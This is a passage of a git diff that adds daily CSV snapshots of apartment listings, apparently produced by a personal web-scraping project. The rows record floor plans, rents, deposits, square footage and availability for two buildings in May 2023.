(1x1),1 Bed 1 Bath,"$3,320",$300,785 - 852 sq.ft.,None,N/A +20230519,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230519,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230519,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230519,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,430",$300,906 - 930 sq.ft.,None,N/A +20230519,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230519,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,475",$300,883 - 888 sq.ft.,None,N/A +20230519,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230519,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,550",$300,890 - 945 sq.ft.,None,N/A +20230519,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230519,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230519,talisman,C3 (2x2),2 Bed 2 Bath,"$3,904",$300,1010 - 1103 sq.ft.,None,N/A +20230519,talisman,C1 (2x2),2 Bed 2 Bath,"$4,199",$300,1029 - 1294 sq.ft.,None,N/A +20230519,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230519,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230519,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,740",$300,1140 - 1185 sq.ft.,None,N/A +20230519,talisman,C8 (2x2),2 Bed 2 Bath,"$4,049",$300,1155 sq.ft.,None,N/A +20230519,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230519,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230519,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,840",$300,1228 - 1296 sq.ft.,None,N/A +20230519,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230519,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230519,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230519,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230519,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230519,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230519,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230519,modera,S01,Studio / 1 ba,"Starting from $1,999/month",$300,477+,/,Only One Left! +20230519,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! +20230519,modera,S02,Studio / 1 ba,"Starting from $2,135/month",$300,498+,/,Only One Left! +20230519,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230519,modera,A05,1 bd/1 ba,"Starting from $2,210/month",$300,596,/,"Available Jun 15, 2023" +20230519,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230519,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,Only One Left! +20230519,modera,A13D,1 bd/1 ba,"Starting from $2,796/month",$300,751,/,"Available Jun 09, 2023" +20230519,modera,B02,2 bd/2 ba,"Starting from $3,169/month",$300,989+,/,"Available Jun 08, 2023" +20230519,modera,B03,2 bd/2 ba,"Starting from $3,414/month",$300,"1,039+",/,"Available May 20, 2023" +20230519,modera,B07,2 bd/2 ba,"Starting from $3,499/month",$300,"1,233",/,"Available May 24, 2023" +20230519,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230520.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230520.csv new file mode 100644 index 00000000000..b3532561fb9 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230520.csv @@ -0,0 +1,57 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230520,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230520,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230520,talisman,A10 (1x1),1 Bed 1 Bath,"$2,327",$300,578 - 665 sq.ft.,None,N/A +20230520,talisman,A1 (1x1),1 Bed 1 Bath,"$2,392",$300,604 - 671 sq.ft.,None,N/A +20230520,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230520,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230520,talisman,A2 (1x1),1 Bed 1 Bath,"$2,372",$300,617 - 715 sq.ft.,None,N/A +20230520,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230520,talisman,A6 (1x1),1 Bed 1 Bath,"$2,392",$300,650 sq.ft.,None,N/A +20230520,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230520,talisman,B5 (1x1),1 Bed 1 Bath,"$2,554",$300,674 - 775 sq.ft.,None,N/A +20230520,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230520,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230520,talisman,A5 (1x1),1 Bed 1 Bath,"$2,512",$300,734 - 739 sq.ft.,None,N/A +20230520,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230520,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230520,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230520,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,320",$300,785 - 852 sq.ft.,None,N/A +20230520,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230520,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230520,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230520,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,430",$300,906 - 930 sq.ft.,None,N/A +20230520,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230520,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,475",$300,883 - 888 sq.ft.,None,N/A +20230520,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230520,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,550",$300,890 - 945 sq.ft.,None,N/A +20230520,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230520,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230520,talisman,C3 (2x2),2 Bed 2 Bath,"$3,904",$300,1010 - 1103 sq.ft.,None,N/A +20230520,talisman,C1 (2x2),2 Bed 2 Bath,"$4,199",$300,1029 - 1294 sq.ft.,None,N/A +20230520,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230520,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230520,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,740",$300,1140 - 1185 sq.ft.,None,N/A +20230520,talisman,C8 (2x2),2 Bed 2 Bath,"$4,049",$300,1155 sq.ft.,None,N/A +20230520,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230520,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230520,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,840",$300,1228 - 1296 sq.ft.,None,N/A +20230520,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230520,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230520,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230520,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230520,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230520,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230520,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230520,modera,S01,Studio / 1 ba,"Starting from $1,999/month",$300,477+,/,Only One Left! +20230520,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! +20230520,modera,S02,Studio / 1 ba,"Starting from $2,135/month",$300,498+,/,Only One Left! +20230520,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230520,modera,A05,1 bd/1 ba,"Starting from $2,210/month",$300,596,/,"Available Jun 15, 2023" +20230520,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230520,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,Only One Left! +20230520,modera,A13D,1 bd/1 ba,"Starting from $2,796/month",$300,751,/,"Available Jun 09, 2023" +20230520,modera,B02,2 bd/2 ba,"Starting from $3,169/month",$300,989+,/,"Available Jun 08, 2023" +20230520,modera,B03,2 bd/2 ba,"Starting from $3,414/month",$300,"1,039+",/,Only One Left! +20230520,modera,B07,2 bd/2 ba,"Starting from $3,499/month",$300,"1,233",/,"Available May 24, 2023" +20230520,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230521.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230521.csv new file mode 100644 index 00000000000..c0ff040f205 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230521.csv @@ -0,0 +1,57 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230521,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230521,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230521,talisman,A10 (1x1),1 Bed 1 Bath,"$2,327",$300,578 - 665 sq.ft.,None,N/A +20230521,talisman,A1 (1x1),1 Bed 1 Bath,"$2,392",$300,604 - 671 sq.ft.,None,N/A +20230521,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230521,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230521,talisman,A2 (1x1),1 Bed 1 Bath,"$2,372",$300,617 - 715 sq.ft.,None,N/A +20230521,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230521,talisman,A6 (1x1),1 Bed 1 Bath,"$2,392",$300,650 sq.ft.,None,N/A +20230521,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230521,talisman,B5 (1x1),1 Bed 1 Bath,"$2,554",$300,674 - 775 sq.ft.,None,N/A +20230521,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230521,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230521,talisman,A5 (1x1),1 Bed 1 Bath,"$2,512",$300,734 - 739 sq.ft.,None,N/A +20230521,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230521,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230521,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230521,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,320",$300,785 - 852 sq.ft.,None,N/A +20230521,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230521,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230521,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230521,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,430",$300,906 - 930 sq.ft.,None,N/A +20230521,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230521,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,475",$300,883 - 888 sq.ft.,None,N/A +20230521,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230521,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,550",$300,890 - 945 sq.ft.,None,N/A +20230521,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230521,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230521,talisman,C3 (2x2),2 Bed 2 Bath,"$3,904",$300,1010 - 1103 sq.ft.,None,N/A +20230521,talisman,C1 (2x2),2 Bed 2 Bath,"$4,199",$300,1029 - 1294 sq.ft.,None,N/A +20230521,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230521,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230521,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,740",$300,1140 - 1185 sq.ft.,None,N/A +20230521,talisman,C8 (2x2),2 Bed 2 Bath,"$4,049",$300,1155 sq.ft.,None,N/A +20230521,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230521,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230521,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,840",$300,1228 - 1296 sq.ft.,None,N/A +20230521,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230521,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230521,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230521,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230521,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230521,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230521,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230521,modera,S01,Studio / 1 ba,"Starting from $1,999/month",$300,477+,/,Only One Left! +20230521,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! +20230521,modera,S02,Studio / 1 ba,"Starting from $2,135/month",$300,498+,/,Only One Left! +20230521,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230521,modera,A05,1 bd/1 ba,"Starting from $2,210/month",$300,596,/,"Available Jun 15, 2023" +20230521,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230521,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,Only One Left! +20230521,modera,A13D,1 bd/1 ba,"Starting from $2,796/month",$300,751,/,"Available Jun 09, 2023" +20230521,modera,B02,2 bd/2 ba,"Starting from $3,169/month",$300,989+,/,"Available Jun 08, 2023" +20230521,modera,B03,2 bd/2 ba,"Starting from $3,414/month",$300,"1,039+",/,Only One Left! +20230521,modera,B07,2 bd/2 ba,"Starting from $3,499/month",$300,"1,233",/,"Available May 24, 2023" +20230521,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230522.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230522.csv new file mode 100644 index 00000000000..f3be01f91bb --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230522.csv @@ -0,0 +1,57 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230522,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230522,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230522,talisman,A10 (1x1),1 Bed 1 Bath,"$2,327",$300,578 - 665 sq.ft.,None,N/A +20230522,talisman,A1 (1x1),1 Bed 1 Bath,"$2,392",$300,604 - 671 sq.ft.,None,N/A +20230522,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230522,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230522,talisman,A2 (1x1),1 Bed 1 Bath,"$2,372",$300,617 - 715 sq.ft.,None,N/A +20230522,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230522,talisman,A6 (1x1),1 Bed 1 Bath,"$2,392",$300,650 sq.ft.,None,N/A +20230522,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230522,talisman,B5 (1x1),1 Bed 1 Bath,"$2,554",$300,674 - 775 sq.ft.,None,N/A +20230522,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230522,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230522,talisman,A5 (1x1),1 Bed 1 Bath,"$2,512",$300,734 - 739 sq.ft.,None,N/A +20230522,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230522,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230522,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230522,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,147",$300,785 - 852 sq.ft.,None,N/A +20230522,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230522,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230522,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230522,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,257",$300,906 - 930 sq.ft.,None,N/A +20230522,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230522,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,302",$300,883 - 888 sq.ft.,None,N/A +20230522,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230522,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,377",$300,890 - 945 sq.ft.,None,N/A +20230522,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230522,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230522,talisman,C3 (2x2),2 Bed 2 Bath,"$4,106",$300,1010 - 1103 sq.ft.,None,N/A +20230522,talisman,C1 (2x2),2 Bed 2 Bath,"$4,401",$300,1029 - 1294 sq.ft.,None,N/A +20230522,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230522,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230522,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,567",$300,1140 - 1185 sq.ft.,None,N/A +20230522,talisman,C8 (2x2),2 Bed 2 Bath,"$4,251",$300,1155 sq.ft.,None,N/A +20230522,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230522,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230522,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,667",$300,1228 - 1296 sq.ft.,None,N/A +20230522,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230522,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230522,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230522,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230522,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230522,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230522,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230522,modera,S01,Studio / 1 ba,"Starting from $1,999/month",$300,477+,/,Only One Left! +20230522,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! +20230522,modera,S02,Studio / 1 ba,"Starting from $2,135/month",$300,498+,/,Only One Left! +20230522,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230522,modera,A05,1 bd/1 ba,"Starting from $2,210/month",$300,596,/,"Available Jun 15, 2023" +20230522,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230522,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,Only One Left! +20230522,modera,A13D,1 bd/1 ba,"Starting from $2,796/month",$300,751,/,"Available Jun 09, 2023" +20230522,modera,B02,2 bd/2 ba,"Starting from $3,169/month",$300,989+,/,"Available Jun 08, 2023" +20230522,modera,B03,2 bd/2 ba,"Starting from $3,414/month",$300,"1,039+",/,Only One Left! +20230522,modera,B07,2 bd/2 ba,"Starting from $3,499/month",$300,"1,233",/,"Available May 24, 2023" +20230522,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230523.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230523.csv new file mode 100644 index 00000000000..7f30f25290b --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230523.csv @@ -0,0 +1,57 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230523,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230523,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230523,talisman,A10 (1x1),1 Bed 1 Bath,"$2,207",$300,578 - 665 sq.ft.,None,N/A +20230523,talisman,A1 (1x1),1 Bed 1 Bath,"$2,272",$300,604 - 671 sq.ft.,None,N/A +20230523,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230523,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230523,talisman,A2 (1x1),1 Bed 1 Bath,"$2,252",$300,617 - 715 sq.ft.,None,N/A +20230523,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230523,talisman,A6 (1x1),1 Bed 1 Bath,"$2,272",$300,650 sq.ft.,None,N/A +20230523,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230523,talisman,B5 (1x1),1 Bed 1 Bath,"$2,454",$300,674 - 775 sq.ft.,None,N/A +20230523,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230523,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230523,talisman,A5 (1x1),1 Bed 1 Bath,"$2,392",$300,734 - 739 sq.ft.,None,N/A +20230523,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230523,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230523,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230523,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,982",$300,785 - 852 sq.ft.,None,N/A +20230523,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230523,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230523,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230523,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,092",$300,906 - 930 sq.ft.,None,N/A +20230523,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230523,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,137",$300,883 - 888 sq.ft.,None,N/A +20230523,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230523,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,212",$300,890 - 945 sq.ft.,None,N/A +20230523,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230523,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230523,talisman,C3 (2x2),2 Bed 2 Bath,"$4,056",$300,1010 - 1103 sq.ft.,None,N/A +20230523,talisman,C1 (2x2),2 Bed 2 Bath,"$4,351",$300,1029 - 1294 sq.ft.,None,N/A +20230523,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230523,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230523,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,402",$300,1140 - 1185 sq.ft.,None,N/A +20230523,talisman,C8 (2x2),2 Bed 2 Bath,"$4,201",$300,1155 sq.ft.,None,N/A +20230523,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230523,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230523,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,502",$300,1228 - 1296 sq.ft.,None,N/A +20230523,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230523,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230523,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230523,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230523,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230523,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230523,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230523,modera,S01,Studio / 1 ba,"Starting from $1,999/month",$300,477+,/,Only One Left! +20230523,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! +20230523,modera,S02,Studio / 1 ba,"Starting from $2,135/month",$300,498+,/,Only One Left! +20230523,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230523,modera,A05,1 bd/1 ba,"Starting from $2,210/month",$300,596,/,"Available Jun 15, 2023" +20230523,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230523,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,Only One Left! +20230523,modera,A13D,1 bd/1 ba,"Starting from $2,796/month",$300,751,/,"Available Jun 09, 2023" +20230523,modera,B02,2 bd/2 ba,"Starting from $3,169/month",$300,989+,/,"Available Jun 08, 2023" +20230523,modera,B03,2 bd/2 ba,"Starting from 